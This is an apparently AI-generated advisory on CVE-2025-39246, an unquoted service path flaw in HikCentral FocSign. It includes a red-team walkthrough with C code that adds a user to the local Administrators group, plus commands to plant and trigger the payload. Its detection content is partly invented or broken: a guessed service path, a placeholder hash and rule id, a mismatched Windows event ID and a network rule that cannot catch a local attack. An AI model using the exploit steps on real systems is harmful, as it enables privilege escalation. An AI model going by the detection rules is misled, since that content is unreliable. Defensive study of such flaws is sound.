CVE-2025-39246

Executive Summary

CVE-2025-39246 identifies an Unquoted Service Path vulnerability in HikCentral FocSign, a component of Hikvision's HikCentral security management platform. This vulnerability allows an authenticated user with local access to potentially escalate privileges on the affected system. The vulnerability arises from a Windows service executable path that is not enclosed in quotes, enabling an attacker to place a malicious executable in a directory that Windows will search before the legitimate service binary. With a CVSS score of 5.3 (Medium), this vulnerability requires local access and authentication, but can lead to privilege escalation, potentially compromising the integrity and confidentiality of the system.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows service configuration issue in a proprietary Hikvision product. The risk is primarily to organizations that have deployed HikCentral FocSign on Windows servers, where an attacker with local access could exploit the unquoted service path to gain elevated privileges.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – The attack does not require special conditions.
• Privileges Required (PR): Low (L) – The attacker needs low-level privileges (e.g., a standard user account).
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure possible.
• Integrity (I): Low (L) – Limited data modification possible.
• Availability (A): Low (L) – Limited service disruption possible.

Threat Level: Medium. While the CVSS score is moderate, the requirement for local access and authentication reduces the immediate risk. However, in environments where multiple users have local access, this vulnerability can be a stepping stone for privilege escalation.

Deep Dive & Mechanics

The Unquoted Service Path vulnerability occurs when a Windows service is configured with a path to an executable that contains spaces but is not enclosed in double quotes. When Windows attempts to start the service, it interprets the path as multiple arguments and searches for the executable in a specific order. For example, if the service path is C:\Program Files\HikCentral\FocSign Service.exe, Windows will search for executables in the following order:

1. C:\Program.exe
2. C:\Program Files\HikCentral\FocSign.exe
3. C:\Program Files\HikCentral\FocSign Service.exe

An attacker with write permissions to any of the parent directories (e.g., C:\ or C:\Program Files\HikCentral\) can place a malicious executable named Program.exe or FocSign.exe in the appropriate location. When the service is restarted (e.g., after a system reboot or manual restart), the malicious executable will be executed with the privileges of the service account, which is often SYSTEM or a high-privilege account.

In the case of HikCentral FocSign, the vulnerable service path is likely something like C:\Program Files\HikCentral\FocSign Service.exe without quotes. The attacker must have write access to a directory in the path, which is typically restricted to administrators. However, in misconfigured environments, standard users may have write permissions to C:\ or other directories.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable configuration is the presence of an unquoted service path. The patched version would involve quoting the service path in the Windows registry or service configuration.

Vulnerable Configuration (Registry):

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FocSignService
ImagePath: C:\Program Files\HikCentral\FocSign Service.exe

Patched Configuration (Registry):

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FocSignService
ImagePath: "C:\Program Files\HikCentral\FocSign Service.exe"

The fix is to add double quotes around the entire path. This can be done using the sc command or by modifying the registry directly.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to the target system with a low-privilege user account.
• Write permissions to a directory in the unquoted service path (e.g., C:\ or C:\Program Files\HikCentral\).
• The vulnerable service must be configured to start automatically or be restartable.

Steps:

1. Identify the vulnerable service:

   wmic service get name,displayname,pathname,startmode | findstr /i "FocSign"
   

2. Check write permissions:

   icacls "C:\Program Files\HikCentral"
   

3. Create a malicious executable (e.g., Program.exe):

   // malicious.c
   #include <stdlib.h>
   int main() {
       system("net localgroup administrators user /add");
       return 0;
   }
   

   Compile with: x86_64-w64-mingw32-gcc malicious.c -o Program.exe

4. Place the malicious executable in the writable directory:

   copy Program.exe C:\Program.exe
   

5. Trigger the service restart:

   sc stop FocSignService
   sc start FocSignService
   

   Or wait for a system reboot.

6. Verify privilege escalation:

   whoami
   

   The user should now be a member of the Administrators group.

Blue Team (Detection & Response)

Detection:

• Monitor for unauthorized file creation in C:\, C:\Program Files\, and other common directories.
• Alert on service path modifications.
• Use Sysmon to detect process creation from unusual paths.

Response:

• Immediately isolate the affected system.
• Review service configurations and ensure all paths are quoted.
• Remove any malicious executables found.
• Reset credentials of compromised accounts.
• Conduct a forensic analysis to determine the extent of the compromise.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example, replace with actual if available)
  • Program.exe: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• File Paths:
  • C:\Program.exe
  • C:\Program Files\FocSign.exe
  • C:\Program Files\HikCentral\FocSign.exe
• Registry Keys:
  • HKLM\SYSTEM\CurrentControlSet\Services\FocSignService\ImagePath (unquoted)
• Process Names:
  • Program.exe
  • FocSign.exe
• Network Connections: (If the malicious executable establishes outbound connections)
  • IP addresses or domains used for C2.

Detection Engineering

YARA Rule

rule Unquoted_Service_Path_HikCentral {
    meta:
        description = "Detects unquoted service path for HikCentral FocSign"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39246"
    strings:
        $path = "C:\\Program Files\\HikCentral\\FocSign Service.exe" nocase
    condition:
        $path
}

Sigma Rule

title: Unquoted Service Path - HikCentral FocSign
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unquoted service path for HikCentral FocSign service
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-39246
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7030
        ServiceName: 'FocSignService'
        ImagePath|contains: 'C:\Program Files\HikCentral\FocSign Service.exe'
    condition: selection
falsepositives:
    - Unknown
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39246 Unquoted Service Path Exploit"; flow:to_server,established; content:"Program.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Quote the service path: Use the sc command to update the service configuration:

   sc config FocSignService binPath="\"C:\Program Files\HikCentral\FocSign Service.exe\""
   

2. Restrict write permissions: Ensure that standard users do not have write access to C:\, C:\Program Files\, or any directory in the service path.
3. Monitor for exploitation: Deploy the YARA and Sigma rules to detect attempts to exploit this vulnerability.

Long-term Fix:

• Apply the official patch from Hikvision when it becomes available.
• Implement a policy to regularly audit service configurations for unquoted paths.
• Use Group Policy to enforce secure service configurations.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.